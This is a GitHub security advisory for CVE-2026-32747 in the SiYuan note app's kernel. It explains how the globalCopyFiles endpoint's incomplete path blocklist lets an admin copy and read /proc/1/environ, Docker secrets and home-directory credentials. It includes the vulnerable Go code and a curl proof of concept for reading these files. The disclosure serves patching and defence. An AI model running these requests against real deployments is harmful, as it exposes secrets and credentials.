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GHSA-h5vh-m7fg-w5h6

SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets

Source: GitHub Advisory Database (reviewed) Moderate CVE-2026-32747

Packages

EcosystemPackageAffectedFixed in
Go github.com/siyuan-note/siyuan/kernel <= 0.0.0-20260313024916-fd6526133bb3 no fix listed

Details

As written in the advisory (Markdown source, shown as plain text).

### Summary POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API. ### Details File: kernel/api/file.go - function globalCopyFiles ```go for i, src := range srcs { absSrc, _ := filepath.Abs(src) if util.IsSensitivePath(absSrc) { return } srcs[i] = absSrc } destDir := filepath.Join(util.WorkspaceDir, destDir) for _, src := range srcs { dest := filepath.Join(destDir, filepath.Base(src)) filelock.Copy(src, dest) // copies unchecked sensitive file into workspace } ``` IsSensitivePath blocklist (kernel/util/path.go): ```go prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."} ``` **Not blocked - exploitable targets:** | Path | Contains | |------|----------| | /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY | | /run/secrets/* | Docker Swarm / Compose injected secrets | | /home/siyuan/.aws/credentials | AWS credentials (non-root user) | | /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) | | /tmp/ | Temporary files including tokens | ### PoC **Environment:** ```bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123 ``` **Exploit:** ```bash TOKEN="YOUR_ADMIN_TOKEN" curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}' curl -s -X POST http://localhost:6806/api/file/getFile \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"path":"/data/assets/environ"}' | tr '\0' '\n' ``` **Docker secrets:** ```bash curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}' ``` ### Impact An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.

References

External links from the advisory. They lead to third-party sites.